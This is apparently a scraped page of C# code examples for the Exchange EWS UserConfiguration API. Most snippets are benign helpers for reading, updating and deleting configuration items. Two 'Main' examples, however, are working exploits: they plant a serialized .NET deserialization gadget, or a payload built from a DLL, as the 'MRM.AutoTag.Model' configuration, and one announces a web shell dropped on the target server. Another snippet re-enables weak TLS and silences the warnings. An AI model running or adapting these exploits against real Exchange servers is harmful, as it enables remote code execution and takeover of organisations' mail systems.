Example #1
0
        public void LoadUserConfigIntoTreeViewNode(ExchangeService service, ref TreeNode oNode, FolderId oFolderId, string sSettingsName)
        {
            bool bFound = false;

            service.ClientRequestId = Guid.NewGuid().ToString();  // Set a new GUID.
            UserConfiguration OWAConfiguration = UserConfiguration.Bind(service,
                                                                        sSettingsName,
                                                                        oFolderId,
                                                                        UserConfigurationProperties.All);

            TreeNode xNode = null;
            IDictionaryEnumerator OWAEnum = (IDictionaryEnumerator)OWAConfiguration.Dictionary.GetEnumerator();

            while (OWAEnum.MoveNext())
            {
                OWAEnum.Key.ToString();
                xNode = new TreeNode(OWAEnum.Key.ToString());
                if (OWAEnum.Value != null)
                {
                    xNode.Tag = OWAEnum.Value.ToString();
                }
                else
                {
                    xNode.Tag = "";
                }
                oNode.Nodes.Add(xNode);
                bFound = true;
            }

            //if (bFound == false)
            //    oNode.ForeColor = Color.Gray;

            //if (oNode.Nodes.Count == 0)
            //    oNode.ForeColor = Color.Gray;
        }
        public static MasterCategoryList Bind(ExchangeService service, string smtpAddress)
        {
            try
            {
                FolderId TargetFolder = new FolderId(WellKnownFolderName.Calendar, smtpAddress);
                var      item         = UserConfiguration.Bind(service, "CategoryList", TargetFolder, UserConfigurationProperties.XmlData);

                var reader     = new StreamReader(new MemoryStream(item.XmlData), Encoding.UTF8, true);
                var serializer = new XmlSerializer(typeof(MasterCategoryList));
                var result     = (MasterCategoryList)serializer.Deserialize(reader);
                result._UserConfigurationItem = item;
                return(result);
            }
            catch (System.ArgumentNullException)
            {
                // There is a folder but it didn't have any categories
                // Create an empty list and return it
                FolderId TargetFolder = new FolderId(WellKnownFolderName.Calendar, smtpAddress);
                var      item         = UserConfiguration.Bind(service, "CategoryList", TargetFolder,
                                                               UserConfigurationProperties.XmlData);
                var result = new MasterCategoryList();
                result.Categories             = new List <Category>();
                result._UserConfigurationItem = item;
                return(result);
            }
            catch (Exception ex)
            {
                // Seems there is no MasterCategoryList, we will try to create a new one
                log.WriteErrorLog(ex.ToString());
                log.WriteErrorLog(ex.Message);
                return(CreateNewMasterCartegories(service));
            }
        }
Example #3
0
        public Categories GetCategories()
        {
            ExchangeService ewsservice = GetEwsService();

#pragma warning disable S4423                                                                                                                     // Weak SSL/TLS protocols should not be used
            System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls; //DevSkim: ignore DS440020,DS440000,DS144436
#pragma warning restore S4423                                                                                                                     // Weak SSL/TLS protocols should not be used
            UserConfiguration usrConfig = UserConfiguration.Bind(ewsservice,
                                                                 "CategoryList",
                                                                 WellKnownFolderName.Calendar,
                                                                 UserConfigurationProperties.All);
            byte[] xmlData = usrConfig.XmlData;
            //found some nasty leading chars in XmlData which was breaking deserialization
            //it looked something like ï»À<?xml version... o worse an unprintable char
            if (usrConfig.XmlData[0].Equals(239) && usrConfig.XmlData[1].Equals(187) && usrConfig.XmlData[2].Equals(191))
            {
                xmlData = usrConfig.XmlData.Skip(3).ToArray();
            }
            string        xml        = Encoding.UTF8.GetString(xmlData);
            XmlSerializer serializer = new XmlSerializer(typeof(Categories));
            using (StringReader reader = new StringReader(xml))
            {
                var categories = (Categories)serializer.Deserialize(reader);
                return(categories);
            }
        }
Example #4
0
        static void GetUserConfiguration(ExchangeService service)
        {
            // Binds to an user configuration object. Results in a call to EWS.
            UserConfiguration usrConfig = UserConfiguration.Bind(service,
                                                                 "MyCustomSettingName",
                                                                 WellKnownFolderName.Inbox,
                                                                 UserConfigurationProperties.All);

            // Display the returned property values.
            Console.WriteLine("User Config Identifier: " + usrConfig.ItemId.UniqueId);
            Console.WriteLine("XmlData: " + Encoding.UTF8.GetString(usrConfig.XmlData));
            Console.WriteLine("BinaryData: " + Encoding.UTF8.GetString(usrConfig.BinaryData));
        }
        static void DeleteUserConfiguration(ExchangeService service)
        {
            // Binds to an user configuration object. Results in a call to EWS.
            UserConfiguration usrConfig = UserConfiguration.Bind(service,
                                                                 "MyCustomSettingName",
                                                                 WellKnownFolderName.Inbox,
                                                                 UserConfigurationProperties.Id);

            // Deletes the user configuration object.
            // Results in a call to EWS.
            usrConfig.Delete();

            Console.WriteLine("The user configuration settings have been deleted.");
        }
Example #6
0
        static void Main(string[] args)
        {
            try
            {
                ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010);
                service.Credentials = new WebCredentials(args[1], args[2]);
                ServicePointManager.ServerCertificateValidationCallback = CheckValidationResult;
                service.Url = new Uri("https://" + args[0] + "/ews/Exchange.asmx");
                {
                    byte[]            data   = GeneratePayload(File.ReadAllBytes("e.dll"));
                    UserConfiguration u      = null;
                    Folder            folder = Folder.Bind(service, WellKnownFolderName.Inbox);

                    try{
                        u = UserConfiguration.Bind(service, "MRM.AutoTag.Model", folder.Id, UserConfigurationProperties.BinaryData);
                        u.Delete();
                    }
                    catch {}
                    try{
                        u = UserConfiguration.Bind(service, "MRM.AutoTag.Setting", folder.Id, UserConfigurationProperties.Dictionary);
                        u.Delete();
                    }
                    catch {}



                    u            = new UserConfiguration(service);
                    u.BinaryData = data;
                    u.Save("MRM.AutoTag.Model", folder.Id);

                    try{
                        u = new UserConfiguration(service);
                        u.Dictionary["AutoTagEnabled"]         = true;
                        u.Dictionary["NumberOfPredictedEmail"] = 0;
                        u.Dictionary["NumberOfCorrectedEmail"] = 0;
                        u.Dictionary["NumberOfRetaggedEmail"]  = 0;
                        u.Save("MRM.AutoTag.Setting", folder.Id);
                    }catch {}

                    Console.WriteLine("UserConfiguration created.");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
Example #7
0
        static void UpdateUserConfiguration(ExchangeService service)
        {
            // Binds to an user configuration object. Results in a call to EWS.
            UserConfiguration usrConfig = UserConfiguration.Bind(service,
                                                                 "MyCustomSettingName",
                                                                 WellKnownFolderName.Inbox,
                                                                 UserConfigurationProperties.Id);

            // Add dictionary property values to the local copy of the object.
            usrConfig.Dictionary.Add("Key1", 1);
            usrConfig.Dictionary.Add("Key2", 3);
            usrConfig.Dictionary.Add("Key3", 9);

            // Updates the local changes to the user configuration object and uploads the
            // changes to the server. Results in a call to EWS.
            usrConfig.Update();

            Console.WriteLine("User configuration has been updated to include dictionary property values");
        }
Example #8
0
        static void Main(string[] args)
        {
            ActivitySurrogateSelectorGenerator asg = new ActivitySurrogateSelectorGenerator();

            // Retrieve gadget
            if (args.Length != 3)
            {
                Console.WriteLine("[*] Usage: Exp mail.test.cc user pass");
                Console.WriteLine("[*] Powered by Boi from LintonLab at Qihoo Group");
                return;
            }
            byte[] obj = (byte[])asg.Generate("", GADGET_TYPE, false);
            Console.WriteLine(GADGET_TYPE);

            string          b64obj  = System.Convert.ToBase64String(obj);
            ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010)
            {
                Credentials = new WebCredentials(args[1], args[2])
            };

            ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true;
            Console.WriteLine("[+] Target: https://" + args[0] + "/ews/Exchange.asmx");
            Console.WriteLine("[+] User: "******" " + args[2]);
            service.Url = new Uri("https://" + args[0] + "/ews/Exchange.asmx");
            {
                byte[]            data   = obj;
                UserConfiguration u      = null;
                Folder            folder = Folder.Bind(service, WellKnownFolderName.Inbox);
                try
                {
                    u = UserConfiguration.Bind(service, "MRM.AutoTag.Model", folder.Id, UserConfigurationProperties.BinaryData);
                    u.Delete();
                }
                catch { }
                u = new UserConfiguration(service)
                {
                    BinaryData = data
                };
                u.Save("MRM.AutoTag.Model", folder.Id);
            }

            Console.WriteLine("[+] Shell in " + args[0] + "\\autodiscover\\Services.aspx, Wait for few minutes");
        }
        public void DeleteUserConfiguration(FolderId folderId, string configName)
        {
            UserConfiguration userConfig = base.InvokeServiceCall <UserConfiguration>(() => UserConfiguration.Bind(this.Service, configName, folderId, 4));

            if (userConfig != null)
            {
                base.InvokeServiceCall(delegate()
                {
                    userConfig.Delete();
                });
            }
        }
        public bool CreateOrUpdateUserConfiguration(byte[] xmlData, FolderId folderId, string configName)
        {
            UserConfiguration userConfig = base.InvokeServiceCall <UserConfiguration>(() => UserConfiguration.Bind(this.Service, configName, folderId, 4));

            if (userConfig != null)
            {
                userConfig.XmlData = xmlData;
                base.InvokeServiceCall(delegate()
                {
                    userConfig.Update();
                });
            }
            else
            {
                userConfig         = new UserConfiguration(base.Service);
                userConfig.XmlData = xmlData;
                base.InvokeServiceCall(delegate()
                {
                    userConfig.Save(configName, folderId);
                });
            }
            return(true);
        }